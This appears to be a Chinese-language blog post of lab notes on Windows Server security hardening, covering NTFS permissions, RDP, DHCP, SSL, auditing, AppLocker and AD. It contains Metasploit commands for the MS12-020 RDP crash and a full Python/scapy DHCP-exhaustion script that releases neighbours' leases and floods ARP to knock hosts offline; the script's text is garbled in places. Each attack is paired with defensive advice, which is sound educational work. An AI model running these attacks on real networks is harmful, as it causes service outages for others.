Windows操作系统安全基础配置

2022-03-17 21:11:13 浏览数 (1)

Labs1-Windows用户和组

概念

用户是单独的,而组是他们的集合。

加固:修改用户名以及管理员组和用户的磁盘文件操作权限

Labs2-NTFS权限管理

概念:

二、标准NTFS文件夹权限的类型

  1. 读取:此权限可以查看文件夹内的文件名称,子文件夹的属性。
  2. 写入:可以在文件夹里写入文件与文件夹。更改文件的属性。
  3. 列出文件夹目录:除了“读取”权限外,还有“列出子文件夹”的权限。即使用户对此文件夹没有访问权限。
  4. 读取与运行:它与“列出文件夹目录”几乎相同的权限。但在权限的继承方面有所不同,“读取与运行”是文件与文件夹同时继承,而“列出子文件夹目录”只具有文件夹的继承性。
  5. 修改:它除了具有“写入”与“读取与运行”权限,还具有删除,重命名子文件夹的权限。
  6. 完全控制:它具有所有的NTFS文件夹权限。

三、用户权限的有效性

  1. 权限的累加性

用户对某个资源的有效权限是所有权限的来源的总和。

  1. “拒绝”权限会覆盖所有其他权限。

虽然用户的有效权限是所有权限的来源的总和。但是只要其中有个权限是被设为拒绝访问,则用户最后的有效权限将是无法访问此资源。

文件会覆盖文件夹的权限:如果针对某个文件夹设置了NTFS权限,同时也对该文件夹内的文件设置了NTFS权限。则以文件的权限设置为优先。

Labs3-远程桌面连接服务渗透与防护

概念:

远程桌面连接使用Microsoft的远程桌面协议 RemoteDesktopProtocol (简称RDP) 进行工作。与"终端服 务”相比,‘"远程桌面” 在功能、配置、安全等方面有了很大的改 善。它是从TeInet发展而来的,好比是Telnet的图形化,属于 C/S(客户/服务器)模式,所以在建立连接前也需要配置好连接的服 务器端和客户端。这里的服务器端是指接受远程桌面连接的计算机 -方(被控端), 而客户端是指发起远程桌面连接的计算机一方(主控 端)。

网络环境:

靶机:192.168.0.108 winser2003

攻击机:192.168.0.104 kali

扫描系统相关漏洞

nmap --script=vuln 192.168.0.108

搜索相关模块

search ms12-020

选择辅助模块

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

使用 发起攻击

加固

MS12-020: BUGTRAQ ID: 52354 CVE ID: CVE-2012-0152远程桌面协议 (RDP, Remote Desktop Protocol)是一-个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称"远程电脑”)。 Windows在处理某些RDP报文时Terminal Server存在错误,可被利用造成服务停止响应。危害可使远程主机立即蓝屏。

  1. 安装漏洞补丁。
  2. 修改远程默认3389端口。

Labs4-DHCP服务渗透与防护

概念

DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。

网络环境

攻击机:192.168.0.104 kali

靶机:192.168.0.108 winserver2003

  1. 使用Py ”jio本“ 耗尽DHCP 地址池。

Python

代码语言:javascript复制
#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
DHCP exhaustion attack plus.
Usage:
  pig.py [-d -h] <interface>
"""
from scapy.all import *
import string,binascii,signal,sys,threading,socket,struct,getopt
 
conf.checkIPaddr = False
interface = "lo"
verbose = False
Debug=False
 
def checkArgs():
    global Field,Value
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hd")
    except getopt.GetoptError, err:
        # print help information and exit:
        print str(err) # will print something like "option -a not recognized"
        usage()
        sys.exit(2)
    for o,a in opts:
        if o in ("-d,--debug"):
            global verbose
            verbose = True
        elif o in ("-h", "--help"):
            usage()
            sys.exit()
        else:
            assert False, "unhandled option"
    if len(args)==1:
        global interface
        interface=args[0]
    else:
        usage()
        sys.exit(2)
 
 
def signal_handler(signal, frame):
        print 'Exit'
    t1.kill_received = True
    t2.kill_received = True
        sys.exit(0)
 
 
 
######################################
# Necessary Network functions not included in scapy
#
def randomMAC():
    mac = [ 0x00, 0x0c, 0x29,
        random.randint(0x00, 0x7f),
        random.randint(0x00, 0xff),
        random.randint(0x00, 0xff) ]
    return ':'.join(map(lambda x: "x" % x, mac))
 
def toNum(ip):
    "convert decimal dotted quad string to long integer"
    return struct.unpack('L',socket.inet_aton(ip))[0]
 
def get_ip(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15])
    )[20:24])
 
def get_if_net(iff):
    for net, msk, gw, iface, addr in read_routes():
       if (iff == iface and net != 0L):
          return ltoa(net)
    warning("No net address found for iface %sn" % iff);
 
def get_if_ip(iff):
    for net, msk, gw, iface, addr in read_routes():
       if (iff == iface and net != 0L):
          return addr
    warning("No net address found for iface %sn" % iff);
 
def calcCIDR(mask):
    mask = mask.split('.')
    bits = []
    for c in mask:
       bits.append(bin(int(c)))
    bits = ''.join(bits)
    cidr = 0
    for c in bits:
        if c == '1': cidr  = 1
    return str(cidr)
 
def unpackMAC(binmac):
   mac=binascii.hexlify(binmac)[0:12]
   blocks = [mac[x:x 2] for x in xrange(0, len(mac), 2)]
   return ':'.join(blocks)
 
 
 
 
##########################################################
#
#  ARP and create map of LAN neighbors
#
def neighbors():
     global dhcpsip,subnet,nodes
     nodes={}
     m=randomMAC()
     net=dhcpsip "/" calcCIDR(subnet)
     ans,unans = srp(Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net,psrc=dhcpsip), timeout=8,
                    filter="arp and arp[7] = 2")
     for request,reply in ans:
       nodes[reply.hwsrc]=reply.psrc
       print "s - %s " % (reply.psrc, reply.hwsrc)
 
#
# send release for our neighbors
#
def release():
   global dhcpsmac,dhcpsip,nodes
   print "***  Sending DHCPRELEASE for neighbors "
   myxid=random.randint(1, 900000000)
   #
   #iterate over all ndoes and release their IP from DHCP server
   for cmac,cip in nodes.iteritems():
     dhcp_release = Ether(src=cmac,dst=dhcpsmac)/IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid,)/DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"])
     sendp(dhcp_release,verbose=0,iface=interface)
     print "Releasing %s - %s"%(cmac,cip)
     if verbose: print "%r"%dhcp_release
 
#
#now knock everyone offline
#
def garp():
  global dhcpsip,subnet
  pool=Net(dhcpsip "/" calcCIDR(subnet))
  for ip in pool:
    m=randomMAC()
    arpp =  Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m,psrc=ip,hwdst="00:00:00:00:00:00",pdst=ip)
    sendp(arpp,verbose=0,iface=interface)
    print "Knocking %s offline, goodbye"%ip
    if verbose: print "%r"%arpp
 
#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
   def __init__ (self):
        threading.Thread.__init__(self)
    self.kill_received = False
 
   def run(self):
     global timer,dhcpdos
     while not self.kill_received and not dhcpdos:
       m=randomMAC()
       myxid=random.randint(1, 900000000)
       hostname=''.join(random.choice(string.ascii_uppercase   string.digits) for x in range(8))
       dhcp_discover =  Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid)/DHCP(options=[("message-type","discover"),("hostname",hostname),"end"])
       print "nnnSending DHCPDISCOVER on "   interface
       sendp(dhcp_discover,verbose=0,iface=interface)
       time.sleep(timer)
 
#
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
   def __init__ (self):
     threading.Thread.__init__(self)
     self.filter = "icmp or (udp and src port 67 and dst port 68)"
     self.kill_received = False
     self.dhcpcount=0
 
   def run(self):
     global dhcpdos
     while not self.kill_received and not dhcpdos:
       sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout=3,iface=interface)
       print "timeout waiting on dhcp packet count %d"%self.dhcpcount
       self.dhcpcount =1
       if self.dhcpcount==5: dhcpdos=True
  
   def detect_dhcp(self,pkt):
      global dhcpsmac,dhcpsip,subnet
      if DHCP in pkt:
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
          self.dhcpcount=0
          dhcpsip = pkt[IP].src
          dhcpsmac = pkt[Ether].src
          for opt in pkt[DHCP].options:
           if opt[0] == 'subnet_mask':
        subnet=opt[1]
            break
 
          myip=pkt[BOOTP].yiaddr
          sip=pkt[BOOTP].siaddr
          localxid=pkt[BOOTP].xid
          localm=unpackMAC(pkt[BOOTP].chaddr)
          myhostname=''.join(random.choice(string.ascii_uppercase   string.digits) for x in range(8))
  
          print("DHCPOFFER handing out IP: " myip)
          if verbose: print("DHCPOFFER detected from "   pkt[Ether].src,sip   " on "   interface   ", handing out IP: " myip)
 
          dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"])
          sendp(dhcp_req,verbose=0,iface=interface)
          print "sent DHCP Request for " myip
      elif ICMP in pkt:
         if pkt[ICMP].type==8:
           myip=pkt[IP].dst
           mydst=pkt[IP].src
           print "ICMP request from "   mydst   " for "   myip   " on "   interface
           icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912"
       if verbose: print "%r"%icmp_req 
           #sendp(icmp_req,verbose=0,iface=interface)
           #print "ICMP response from " myip " to " mydst 
 
 
#
#
# MAIN()
#
def main(args):
  checkArgs()
  signal.signal(signal.SIGINT, signal_handler)
  global t1,t2,t3,dhcpdos,dhcpsip,dhcpmac,subnet,nodes,timer
  dhcpsip=None
  dhcpsmac=None
  subnet=None
  nodes={}
  dhcpdos=False 
  timer=1
  
  t1=sniff_dhcp()
  t1.start()
 
  t2=send_dhcp()
  t2.start()
 
  while dhcpsip==None:
   time.sleep(1)
   print "waiting for first DHCP Server response on "   interface
 
  neighbors()
  release()
 
  while not dhcpdos:
   time.sleep(5)
   print "waiting for DOS"
  
  print "DHCP Exhausted, knock all remaining hosts offline"
  time.sleep(10)
  garp()
  print "All done"
  
def usage():
    print __doc__
  
if __name__ == '__main__':
  sys.exit(not main(sys.argv))
  1. DHCP攻击神器--dhcpig

下载:https://github.com/kamorin/DHCPig

加固

不是交换机的情况下防护只能缩短IP地址的租期。(设置:DHCP——作用域——属性)

待复现....搭建场景比较耗时

Labs5-通过DHCP服务伪造DNS与防护

待学习....

Labs6-SSL证书安全

配置SSL证书实现HTTPS协议443。

HTTP://传输数据容易被不法分子截获明文。

HTTPS://传输加密,即使攻击者截取到报文也是经过TLSv1加密 无法直接读取明文信息。

从而防窃听。

实验:

网站1:http://协议

数据传输明文可见

网站2:https://协议

Labs7-审核测虐

作用

中小企业用Windows Server作为服务器系统应该还是占绝大多数 的,而共享文件夹映射为网络驱动器供员工访问、存储数据也是最 普遍的应用之-。 凡事有利有弊,这个对立面是永远存在的,文件共享访问同样也存 在这样的问题。虽然可以通过NTFS的权限以及在域里面为用户分组 进行权限的管控,但很难做到对每一个独立用户的权限管控,因此 在实际应用中就总有这样那样的问题,比如某个文件又被某个不知 名的人删除了。到最后大家都推脱责任,因为某个文件夹是某些人 共同拥有权限的,所以即便知道是哪些人中的某人删除了文件,但 你无法知道是具体的人。 虽然删除的文件可以通过Shadow Copy或其他备份手段找回,但 毕竟麻烦,如果能让系统记录这一事件就比较好了 ,有系统记录就 推脱不了了,通过Windows的审核对象功能,就可以实现用户对文 件操作的监控了。

配置:

开启审核策略:

开始——本地安全策略——审核策略——审核对象访问(成功✔)

配置用户至审核策略:

选中某一个文件——属性——安全——高级——审核策略——添加用户以及权限即可。

Labs8-应用程序控制策略

启动AppLocker服务 1.点击"开始菜单”- "运行.",在“运行”中输入"services.msc" ,点击确定,打开服务管理

2.双击"Application Identity"

3.将 “启动类型(E)" 修改为“自动”,陆“启动(S)" ,再点击确定。

4.本地安全策略找到AppLocker并配置。即可限制用户对程序的一个操作。

根据HASH值做的访问控制,移动程序/脚本到其他路径 无法突破策略。

Labs9-AD(域控)建立&&加入

步骤

Labs10-FTP服务AD用户隔离

步骤

Labs11-AD组策略

步骤

让入侵者提权过程变得复杂,提升门槛。

Labs12-PPTP-搭建

概念

步骤哦

Labs13-Windows

防止FTP匿名登录

加固:开启除80端口之外的端口对外关闭哦,配置入站出战规则。

Labs14-用户信息迁移

Windows PowerShell 批量迁移Windows用户信息

Labs-15-备份与恢复

Windows Server Backup备份与恢复测试

0 人点赞